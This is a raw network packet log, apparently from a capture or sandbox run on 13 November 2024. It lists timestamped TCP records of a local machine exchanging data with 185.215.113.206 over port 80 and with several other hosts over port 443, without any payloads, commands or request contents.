Nov 13, 2024 18:08:34.650896072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650911093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650916100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650927067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650928020 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650942087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650954008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650957108 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650964022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650970936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650981903 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650985956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650993109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651000977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651010036 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651016951 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651027918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651046991 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651058912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651412964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651428938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651443958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651458979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651468992 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651473999 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651489973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651505947 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651526928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651529074 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651541948 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651556015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651571035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651580095 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651586056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651597977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651602030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651616096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651626110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651629925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651645899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651649952 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651660919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651669979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651679993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.651695967 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651712894 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.651724100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652177095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652190924 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652204990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652220011 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652225971 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652232885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652247906 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652247906 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652265072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652275085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652280092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652297020 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652319908 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652502060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652517080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652532101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652546883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652550936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652560949 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652570963 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652574062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652590036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652597904 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652604103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652618885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652625084 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652635098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652638912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652650118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652664900 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652678967 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652699947 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652865887 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652879000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652893066 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652908087 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652909040 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652925968 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652932882 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652942896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.652952909 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.652977943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653198957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653213978 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653228045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653244019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653253078 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653259039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653270960 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653275013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653290033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653296947 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653302908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653318882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653323889 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653333902 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653350115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653356075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653364897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653378010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653378963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653393984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653403044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653409004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653425932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653431892 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653440952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.653446913 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653471947 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.653485060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654017925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654033899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654057026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654073000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654082060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654088974 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654103994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654113054 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654119015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654134035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654150009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654162884 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654167891 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654177904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654179096 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654194117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654201031 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654210091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654222965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654223919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654238939 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654248953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654253960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654269934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654278040 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654285908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654293060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654320002 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654326916 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654706955 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654721975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654736042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654751062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654755116 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654766083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654777050 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654778957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654792070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654807091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.654812098 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654831886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.654856920 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.663644075 CET	49920	443	192.168.2.6	20.125.209.212
Nov 13, 2024 18:08:34.683599949 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.683677912 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.683854103 CET	49918	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.683887005 CET	49918	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.683887005 CET	49918	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.683904886 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.683912992 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.689246893 CET	49938	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.689289093 CET	443	49938	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.689354897 CET	49938	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.689554930 CET	49938	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.689573050 CET	443	49938	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.694833994 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.695262909 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.695283890 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.697367907 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.697679043 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.698950052 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.699042082 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.699883938 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.699892044 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:34.710798979 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.711793900 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.711853981 CET	49917	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.712178946 CET	49917	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.712188959 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.712197065 CET	49917	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.712201118 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.716224909 CET	49939	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.716242075 CET	443	49939	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.716321945 CET	49939	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.716553926 CET	49939	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.716571093 CET	443	49939	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.718194008 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.718447924 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.718456030 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.722059965 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.722126961 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.723905087 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.723973036 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.723980904 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.724427938 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.724450111 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.724533081 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.724540949 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.728020906 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.728096008 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.728424072 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.728553057 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.728559017 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.728610039 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.731043100 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:34.731247902 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:34.731256008 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:34.731786013 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.731945992 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.731967926 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.732927084 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.732981920 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:34.733015060 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.733051062 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:34.733298063 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.733381033 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.733455896 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.733712912 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.734464884 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:34.734493017 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.734554052 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:34.734668970 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:34.734678984 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:34.734709978 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:34.734780073 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:34.735044003 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.735053062 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.735162020 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.735171080 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.735542059 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.735893011 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.735972881 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.736001015 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.736605883 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.736663103 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.737370014 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.737451077 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.737490892 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.741852999 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:34.768901110 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.768925905 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.768944025 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.769139051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769191980 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769227982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769243956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769293070 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769309998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769325018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769340992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769351959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769360065 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769382954 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769412041 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769474030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769490004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769524097 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769541025 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769556046 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769571066 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769584894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769602060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769608021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769608021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769618034 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769632101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769639015 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769648075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769674063 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769695044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769865990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769880056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769896030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769905090 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769911051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769921064 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769926071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769936085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769941092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769953012 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769957066 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.769985914 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769985914 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.769993067 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770010948 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770025015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770039082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770047903 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770056963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770062923 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770071983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770078897 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770087004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770093918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770101070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770112038 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770116091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770128965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770131111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770143032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770145893 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770159006 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770160913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770175934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770179033 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770190954 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770220995 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770777941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770793915 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770826101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770840883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770844936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770844936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770854950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770864964 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770869017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770878077 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770884037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770891905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770899057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770912886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770915031 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770926952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770929098 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770941019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770956039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770962954 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770970106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770972967 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.770984888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770998955 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.770998955 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.771013021 CET	49864	80	192.168.2.6	185.215.113.206
